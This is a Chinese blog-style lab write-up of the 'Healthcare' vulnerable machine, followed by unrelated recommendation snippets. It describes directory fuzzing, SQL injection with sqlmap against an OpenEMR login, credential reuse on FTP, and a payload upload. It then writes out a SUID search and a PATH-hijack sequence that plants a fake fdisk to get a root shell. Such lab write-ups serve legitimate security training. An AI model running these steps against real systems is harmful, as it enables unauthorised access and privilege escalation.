Healthcare

信息收集

发现目标主机开放了ftp和web服务，并且扫描出了不允许访问的几个目录

我们分别访问这几个目录，发现只有一个目录可以正常访问，其他目录都显示404状态码

我们没发现任何有价值的信息，那么就fuzz一下路径吧，发现存在一个openemr路径，进入后发现是后台登录页面

gobuster dir -u "http://192.168.101.200" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -e 404,403,500

漏洞利用

看到post表单，条件反射验证是够存在SQL注入漏洞，使用burpsuite抓包并使用sqlmap进行注入

我们对数据库进行注入

查看存在users表

发现users表里存在username和password两个字段

注入发现了两个用户名和密码，我们分别尝试登录ftp，发现使用medical账号可以登录成功

我们将payload上传到/var/www/html/openemr目录中，并进行访问

提权

我们切换到medical用户上，并查找可以执行的二进制文件find / -perm -4000 2>/dev/null

我们发现/usr/bin/healthcheck文件是比较容易受到攻击的程序，它只是运行了一堆标准的linux程序，比较明显的是fdisk -l这个程序

我们输入以下常见的提权操作，先将/bin/bash命令写入到fdisk程序中，并将其导入到medical用户的执行路径中，添加执行权限并拿取root权限

echo "/bin/bash" > fdisk
chmod +x fdisk
export PATH=/home/medical:$PATH
echo $PATH
/usr/bin/healthcheck

Healthcare相关推荐

signature=60e238a971088f65081a607ed25e04b3,Healthcare Claims Loss Control Systems And Methods
摘要: A method for controlling healthcare claim payment losses including accessing information about a ...
Searchable Encryption for Healthcare Clouds:A Survey 翻译
自己学习用,原文翻译,侵权删 (2017) 摘要: 将医疗数据及其搜索服务外包给第三方云已经成为许多医疗实践的流行趋势,因为使用医疗云服务可以帮助降低电子健康记录(EHR)系统的成本,包括前端拥有成本 ...
Agfa HealthCare releases next generation of its gold-standard
Agfa HealthCare releases next generation of its gold-standard MUSICA image processing software for d ...
IHE（Integrating the Healthcare Enterprise）
IHE(Integrating the Healthcare Enterprise)简介 IHE是北美放射医学协会(RSNA)和美国医疗卫生信息与管理系统协会(HIMSS)于1998年成立的组织,其目 ...
《Artificial intelligence in healthcare》综述论文阅读
为了方便阅读,我将下面这篇综述论文进行了翻译. Yu, KH., Beam, A.L. & Kohane, I.S. Artificial intelligence in healthcare ...
Office 365 for Healthcare Professionals 免积分下载
图书说明: 医疗保健是一个复杂,快速变化的行业.预计供应商将为患者提供最大化和延长的护理,同时以更少的资源进行工作并努力保持现代化和安全性.本书提供了说明性指导和实际用例,可帮助读者利用Office ...
Healthcare Cloud on Windows Azure （0）开篇
之前,一直把博客当作记事本用.自从用上Evernote,SkyDrive + OneNote,Office 365,博客已经尘封很久了. 作为一个老大不小的北漂,技术方面已经没有什么优势了.至少,连续 ...
全球名校AI课程库（32）| MIT麻省理工 · 医疗机器学习课程『Machine Learning for Healthcare』
[paper]Interpretable Representation Learning for Healthcare via Capturing Disease Progression
加入时间衰退因子以及注意力机制的时间序列的病情诊断预测.预测下一次住院就诊的病情的主要类型. 通过电子病历查看病人检查情况,根据不同症状出现的不同时间加入注意力机制,长记忆的权重不一定比短时间的权重低 ...
MiME: Multilevel Medical Embedding of Electronic Health Records for Predictive Healthcare
原文摘要使用电子病历的许多医学健康预测任务重,深度学习模型展示出了非常杰出的表现.但是这些模型大都需要大量的训练数据,以超过其他大多数医疗系统的能力.一些外部资源,比如医学本体,经常被用作桥接 ...

Healthcare

信息收集

漏洞利用

提权

Healthcare相关推荐

最新文章

热门文章